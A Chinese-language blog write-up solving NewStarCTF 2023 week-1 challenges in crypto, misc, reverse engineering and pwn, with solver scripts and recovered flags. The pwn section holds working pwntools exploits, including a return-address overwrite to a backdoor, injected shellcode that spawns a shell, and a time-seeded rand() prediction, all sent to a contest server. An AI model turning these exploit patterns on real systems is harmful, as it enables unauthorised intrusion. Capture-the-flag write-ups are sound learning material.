• [NewStarCTF 2023 公开赛道] week1


    最近没什么正式比赛,都是入门赛,有moectf,newstar,SHCTF,0xGame都是漫长的比赛。一周一堆制。

    这周newstar第1周结束了,据说py得很厉害,第2周延期了,什么时候开始还不一定,不过第一周已经结束提交了,可以发上来存下。总体来说没难题。

     Crypto

    brainfuck

    ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.

    直接到网站解密 Brainfuck/OoK加密解密 - Bugku CTF

    flag{Oiiaioooooiai#b7c0b1866fe58e12}

    Caesar's Secert

    kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed} 

    随波逐流工具一键解密

     key1 #5: flag{ca3s4rs_c1pher_i5_v4ry_3azy}

    Fence

     fa{ereigtepanet6680}lgrodrn_h_litx#8fc3

    同样随波,W栅栏

    flag{reordering_the_plaintext#686f8c03} 

    Vigenère

     pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

    试密钥,逐个字母试,使头为flag,也可以从 vigenere的表上查

    flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0} 

    babyencoding

     flag由3段组成,第1段是base64,第2段是base32,第3段是uuencode

    part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
    part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
    part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S

    不过这个uuencode需要在 在线UUencode编码|在线UUencode解码|UU编码|UU解码|UUencode编码原理介绍--查错网 

    上解码,随波上后部是乱码

    flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

    babyrsa

    n是由一堆小素数组成,可以直接分解

    1. from Crypto.Util.number import *
    2. from flag import flag
    3. def gen_prime(n):
    4. res = 1
    5. for i in range(15):
    6. res *= getPrime(n)
    7. return res
    8. if __name__ == '__main__':
    9. n = gen_prime(32)
    10. e = 65537
    11. m = bytes_to_long(flag)
    12. c = pow(m,e,n)
    13. print(n)
    14. print(c)
    15. n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
    16. c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

    在sage上直接得到phi

    1. phi = euler_phi(n)
    2. d = inverse_mod(0x10001, phi)
    3. m = pow(c,d,n)
    4. l2b(int(m))
    5. b'flag{us4_s1ge_t0_cal_phI}'

    Small d

    d很小,直接用winer

    1. from secret import flag
    2. from Crypto.Util.number import *
    3. p = getPrime(1024)
    4. q = getPrime(1024)
    5. d = getPrime(32)
    6. e = inverse(d, (p-1)*(q-1))
    7. n = p*q
    8. m = bytes_to_long(flag)
    9. c = pow(m,e,n)
    10. print(c)
    11. print(e)
    12. print(n)
    13. c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
    14. e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
    15. n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
    1. #sage
    2. from Crypto.Util.number import long_to_bytes,bytes_to_long
    3. def transform(x,y):
    4. res = []
    5. while y:
    6. res.append(x//y)
    7. x,y = y,x%y
    8. return res
    9. def continued_fraction(res):
    10. numerator,denominator = 1,0
    11. for i in res[::-1]:
    12. denominator,numerator = numerator,i*numerator+denominator
    13. return numerator,denominator
    14. def wiener_attack(c,res,n):
    15. print("Attack start...")
    16. for i in range(1,len(res)):
    17. ress = res[:i]
    18. d = continued_fraction(ress)[1]
    19. m = long_to_bytes(int(pow(c,d,n)))
    20. #if all(0x20<=k<=0x7f for k in m):
    21. if b'flag{' in m:
    22. print(m)
    23. break
    24. res = transform(e,n)
    25. wiener_attack(c,res,n)
    26. #Attack start...
    27. #b'flag{learn_some_continued_fraction_technique#dc16885c}'

    babyxor

    1字节异或加密,直接爆破

    1. from secret import *
    2. ciphertext = []
    3. for f in flag:
    4. ciphertext.append(f ^ key)
    5. print(bytes(ciphertext).hex())
    6. # e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2
    1. enc = bytes.fromhex('e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2')
    2. for i in range(256):
    3. tmp = bytes([i^v for v in enc])
    4. if b'flag' in tmp:
    5. print(tmp)
    6. #flag{x0r_15_symm3try_and_e4zy!!!!!!}

    Affine

    仿射密码

    1. from flag import flag, key
    2. modulus = 256
    3. ciphertext = []
    4. for f in flag:
    5. ciphertext.append((key[0]*f + key[1]) % modulus)
    6. print(bytes(ciphertext).hex())
    7. # dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

    因为两个key都很小,可以直接用flag{头爆破出来

    1. enc = bytes.fromhex('dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064')
    2. for i in range(256):
    3. for j in range(256):
    4. if bytes([(i*v+j)%256 for v in b'flag{']) == enc[:5]:
    5. print(i,j)
    6. a,b = 17,23
    7. flag = ''
    8. for i in range(len(enc)):
    9. for k in range(0x21,0x7f):
    10. if (a*k + b)%256 == enc[i]:
    11. flag += chr(k)
    12. break
    13. print(flag)
    14. #flag{4ff1ne_c1pher_i5_very_3azy}

    babyaes

    1. from Crypto.Cipher import AES
    2. import os
    3. from flag import flag
    4. from Crypto.Util.number import *
    5. def pad(data):
    6. return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])
    7. def main():
    8. flag_ = pad(flag)
    9. key = os.urandom(16) * 2
    10. iv = os.urandom(16)
    11. print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    12. aes = AES.new(key, AES.MODE_CBC, iv)
    13. enc_flag = aes.encrypt(flag_)
    14. print(enc_flag)
    15. if __name__ == "__main__":
    16. main()

    key有16*2字节,iv只有16字节,前部爆露,可以得到key和iv然后直接解密

    1. hint = 3657491768215750635844958060963805125333761387746954618540958489914964573229
    2. enc = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
    3. key = long_to_bytes(hint^1)[:16]*2
    4. iv = long_to_bytes(hint^1^bytes_to_long(key))
    5. aes = AES.new(key, AES.MODE_CBC, iv)
    6. aes.decrypt(enc)
    7. #b'firsT_cry_Aes\x00\x00\x00'
    8. #flag{firsT_cry_Aes}

    MISC

    CyberChef's Secret

    怀疑这是crypto过来的

    M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

    直接叫厨子

     

    机密图片

     一个图片是个二维码,显然不是flag,用StegSolver

    流量!鲨鱼! 

    流量题,用wireshark打开,可以看到好多 http访问,接协议排序找到可疑项

    追踪http流得到密文

    Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=

    上厨子,点魔术棒两次

    压缩包们 

    附件用010打开,发现是zip文件少头,改头为504b0304,后部有base64的提示

     解出提示是

    I like six-digit numbers because they are very concise and easy to remember.

    就是说6位数字密码,爆破6位数字,爆破报错,说明压缩包密码方式有误,用010修改下把0改为0

    然后爆破密码,得到flag

     

    空白格 

    压缩包打开是个由空格和tab组成的空白文件,把空格换成0,tab换成1,每行只取后8字符(这里中间还都插着个1不知怎么出来的)

    1. a = open('white.txt').readlines()
    2. flag = ''
    3. for v in a:
    4. v = v[:-1].replace(' ', '0').replace('\t', '1')
    5. flag += chr(int(v[-8:],2))
    6. print(flag.replace(chr(1),''))

    隐秘的眼睛

    显然是提到眼睛就是silenteye

    PWN

    ret2text 

    read有溢出,直接写后门

    1. from pwn import *
    2. p = remote('node4.buuoj.cn',29584)
    3. context.log_level = 'debug'
    4. p.sendlineafter(b"Show me your magic", b'\x00'*0x28 + p64(0x4011fb))
    5. print(p.sendline(b'cat flag'))
    6. p.interactive()

     ezshellcode

    建了个可写可执行的块把shellcode读进去然后执行

    1. from pwn import *
    2. p = remote('node4.buuoj.cn',29612)
    3. context(arch='amd64', log_level = 'debug')
    4. p.sendlineafter(b"Show me your magic", asm(shellcraft.sh()))
    5. print(p.sendline(b'cat flag'))
    6. p.interactive()

     newstar shop

    这题主要是看代码,

    一共有100块,买gift花40两次,再运行3 减50变成负数,再买flag即可

    输入:1,2,1,2,3,1,3

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // [rsp+4h] [rbp-Ch] BYREF
    4. unsigned __int64 v4; // [rsp+8h] [rbp-8h]
    5. v4 = __readfsqword(0x28u);
    6. init();
    7. while ( 1 )
    8. {
    9. menu();
    10. if ( (int)__isoc99_scanf("%d", &v3) <= 0 )
    11. puts("Invalid input");
    12. switch ( v3 )
    13. {
    14. case 1:
    15. shop();
    16. break;
    17. case 2:
    18. makemoney();
    19. break;
    20. case 3:
    21. dont_try();
    22. break;
    23. default:
    24. puts("nothing here");
    25. puts("\n");
    26. break;
    27. }
    28. }
    29. }
    30. unsigned __int64 shop()
    31. {
    32. int v1; // [rsp+4h] [rbp-Ch] BYREF
    33. unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    34. v2 = __readfsqword(0x28u);
    35. puts("=============================");
    36. puts("===Welcome to newstar shop===");
    37. puts("=============================");
    38. puts("1.newstar's gift 20$");
    39. puts("2.pwn write up 40$");
    40. puts("3.shell 9999$");
    41. puts("\n");
    42. puts("All things are only available for one day!");
    43. puts("What do you want to buy?");
    44. puts("\n");
    45. if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
    46. puts("Invalid input");
    47. if ( v1 != 3 )
    48. {
    49. if ( v1 > 3 )
    50. {
    51. LABEL_17:
    52. puts("nothing here");
    53. puts("\n");
    54. return v2 - __readfsqword(0x28u);
    55. }
    56. if ( v1 == 1 )
    57. {
    58. if ( (unsigned int)money > 0x13 )
    59. {
    60. money -= 20;
    61. puts("You buy a newstar's gift");
    62. puts("That is the gift:");
    63. puts("What will happen when int transfer to unsigned int?");
    64. goto LABEL_10;
    65. }
    66. }
    67. else
    68. {
    69. if ( v1 != 2 )
    70. goto LABEL_17;
    71. if ( (unsigned int)money > 0x27 )
    72. {
    73. money -= 40;
    74. puts("You buy a pwn write up");
    75. puts("That is free after the match,haha");
    76. goto LABEL_10;
    77. }
    78. }
    79. puts("Sorry,you don't have enough money");
    80. LABEL_10:
    81. puts("\n");
    82. return v2 - __readfsqword(0x28u);
    83. }
    84. if ( (unsigned int)money > 0x270E )
    85. {
    86. money = 0;
    87. puts("How do you buy it?");
    88. puts("\n");
    89. system("/bin/sh");
    90. }
    91. else
    92. {
    93. puts("Sorry,you don't have enough money");
    94. puts("\n");
    95. }
    96. return v2 - __readfsqword(0x28u);
    97. }

    p1eee

    跟前边第1题类似,read有溢出还有后门,不过后门没直接给出

    1. ssize_t sub_120E()
    2. {
    3. __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF
    4. memset(buf, 0, sizeof(buf));
    5. puts("A nice try to break pie!!!");
    6. return read(0, buf, 0x29uLL);
    7. }

    后门

    1. from pwn import *
    2. p = remote('node4.buuoj.cn',25970)
    3. context(arch='amd64', log_level = 'debug')
    4. p.sendafter(b"A nice try to break pie!!!", b'\x00'*0x28 + p8(0x6c))
    5. print(p.sendline(b'cat flag'))
    6. p.interactive()

     Random

    猜对一个数即可

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char v3; // bl
    4. int v4; // eax
    5. int v6; // [rsp+4h] [rbp-2Ch] BYREF
    6. unsigned int seed; // [rsp+8h] [rbp-28h]
    7. int v8; // [rsp+Ch] [rbp-24h]
    8. _BYTE v9[5]; // [rsp+13h] [rbp-1Dh] BYREF
    9. unsigned __int64 v10; // [rsp+18h] [rbp-18h]
    10. v10 = __readfsqword(0x28u);
    11. init(argc, argv, envp);
    12. seed = time(0LL);
    13. srand(seed);
    14. v8 = rand();
    15. puts("can you guess the number?");
    16. __isoc99_scanf("%d", &v6);
    17. if ( v8 == v6 )
    18. {
    19. qmemcpy(v9, "2$031", sizeof(v9));
    20. v3 = v9[rand() % 5];
    21. v4 = rand();
    22. sy(v9[v4 % 2], v3);
    23. }
    24. else
    25. {
    26. printf("%s", "Haha you are wrong");
    27. }
    28. return 0;
    29. }

    用ctypes库猜一个数

    1. from ctypes import *
    2. from pwn import *
    3. clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
    4. p = remote('node4.buuoj.cn',26584)
    5. context(arch='amd64', log_level = 'debug')
    6. clibc.srand(clibc.time(0))
    7. v =clibc.rand()
    8. p.sendlineafter(b"can you guess the number?", str(v).encode())
    9. p.sendline(b'/bin/sh')
    10. p.sendline(b'cat flag')
    11. p.interactive()

    REVERSE

    easy_RE

    IDA一打开就看到一半

    再反编译又是一半

     咳

    加密方法就是加1

    1. >>> a = b'gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'
    2. >>> bytes([v-1 for v in a])
    3. b'flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}'

     Segments

    根据题目名字查看段

    ELF

     第二步是base64

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // edx
    4. char *s1; // [rsp+0h] [rbp-20h]
    5. char *v6; // [rsp+8h] [rbp-18h]
    6. char *s; // [rsp+10h] [rbp-10h]
    7. s = (char *)malloc(0x64uLL);
    8. printf("Input flag: ");
    9. fgets(s, 100, stdin);
    10. s[strcspn(s, "\n")] = 0;
    11. v6 = encode(s);
    12. v3 = strlen(v6);
    13. s1 = base64_encode((__int64)v6, v3);
    14. if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
    15. puts("Correct");
    16. else
    17. puts("Wrong");
    18. free(v6);
    19. free(s1);
    20. free(s);
    21. return 0;
    22. }

    第1步encode是与0x20异或

    1. _BYTE *__fastcall encode(const char *a1)
    2. {
    3. size_t v1; // rax
    4. int v2; // eax
    5. _BYTE *v4; // [rsp+20h] [rbp-20h]
    6. int i; // [rsp+28h] [rbp-18h]
    7. int v6; // [rsp+2Ch] [rbp-14h]
    8. v1 = strlen(a1);
    9. v4 = malloc(2 * v1 + 1);
    10. v6 = 0;
    11. for ( i = 0; i < strlen(a1); ++i )
    12. {
    13. v2 = v6++;
    14. v4[v2] = (a1[i] ^ 0x20) + 16;
    15. }
    16. v4[v6] = 0;
    17. return v4;
    18. }
    1. a = "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t"
    2. b = b64decode(a)
    3. bytes([(v-16)^0x20 for v in b])
    4. b'flag{D0_4ou_7now_wha7_ELF_1s?}'

    Endian

    这是大端小端的意思

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int i; // [rsp+4h] [rbp-3Ch]
    4. char *v5; // [rsp+8h] [rbp-38h]
    5. char v6[40]; // [rsp+10h] [rbp-30h] BYREF
    6. unsigned __int64 v7; // [rsp+38h] [rbp-8h]
    7. v7 = __readfsqword(0x28u);
    8. puts("please input your flag");
    9. __isoc99_scanf("%s", v6);
    10. v5 = v6;
    11. for ( i = 0; i <= 4; ++i )
    12. {
    13. if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
    14. {
    15. printf("wrong!");
    16. exit(0);
    17. }
    18. v5 += 4;
    19. }
    20. printf("you are right");
    21. return 0;
    22. }

    加密只是作了个异或

    1. >>> enc = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
    2. >>> a = [0x12345678 ^ v for v in enc]
    3. >>>
    4. >>> a
    5. [1734437990, 1768713339, 1600943220, 1768189509, 1633644129]
    6. >>> long_to_bytes(a[0])
    7. b'galf'
    8. >>> from pwn import p32
    9. >>> b''.join(p32(v) for v in a)
    10. b'flag{llittl_Endian_a'
    11. >>>

    AndroXor

    用jadx打开,可以看到密文,key(异或)

    1. public class MainActivity extends AppCompatActivity {
    2. private ActivityMainBinding binding;
    3. static {
    4. System.loadLibrary("androxor");
    5. }
    6. public String Xor(String str, String str2) {
    7. char[] cArr = {14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r'};
    8. char[] cArr2 = new char[str.length()];
    9. String str3 = str.length() != 25 ? "wrong!!!" : "you win!!!";
    10. for (int i = 0; i < str.length(); i++) {
    11. char charAt = (char) (str.charAt(i) ^ str2.charAt(i % str2.length()));
    12. cArr2[i] = charAt;
    13. if (cArr[i] != charAt) {
    14. return "wrong!!!";
    15. }
    16. }
    17. return str3;
    18. }
    19. /* JADX INFO: Access modifiers changed from: protected */
    20. @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    21. public void onCreate(Bundle bundle) {
    22. super.onCreate(bundle);
    23. ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
    24. this.binding = inflate;
    25. setContentView(inflate.getRoot());
    26. final EditText editText = (EditText) findViewById(R.id.password);
    27. ((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.chick.androxor.MainActivity.1
    28. @Override // android.view.View.OnClickListener
    29. public void onClick(View view) {
    30. String obj = editText.getText().toString();
    31. MainActivity mainActivity = MainActivity.this;
    32. Toast.makeText(mainActivity, mainActivity.Xor(obj, "happyx3"), 1).show();
    33. Log.d("输入", editText.getText().toString());
    34. }
    35. });
    36. }
    37. }
    1. c = [14,ord('\r'), 17, 23, 2, ord('K'), ord('I'), ord('7'), ord(' '), 30, 20, ord('I'), ord('\n'), 2, ord('\f'), ord('>'), ord('('), ord('@'), 11, ord('\''), ord('K'), ord('Y'), 25, ord('A'), ord('\r')]
    2. key = b'happyx3'
    3. xor(bytes(c),key)
    4. #flag{3z_And0r1d_X0r_x1x1}

    EzPE

    又是下异或,这是第1个字符是序号和第2个异或

    1. enc = bytes.fromhex('0A0C041F266C432D3C0C544C24251106053A7C51381A030D01361F122604685D3F2D372A7D')
    2. flag = 'f'
    3. for i in range(len(enc)):
    4. for k in range(0x20,0x7f):
    5. if ord(flag[i])^k^i == enc[i]:
    6. flag += chr(k)
    7. break
    8. #flag{Y0u_kn0w_what_1s_PE_File_F0rmat}

     lazy_activtiy

    又是个APK文件,从程序里看点击够10000就出flag

    这里的editText就是flag

    打开layout,找到用户定义的资源

     

  • 相关阅读:
    pcl 使用矩阵变换(旋转、平移)点云
    C++——vector
    Docker基本使用
    PAT甲级:1049 Counting Ones
    Flutter SliverAppBar 吸顶效果
    办公网络构建
    Spring Messaging远程命令执行漏洞复现(CVE-2018-1270)
    2022-7 刷题记录
    java计算机毕业设计人口老龄化常态下的社区老年人管理与服务平台源程序+mysql+系统+lw文档+远程调试
    软件开发项目保密协议
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/133617344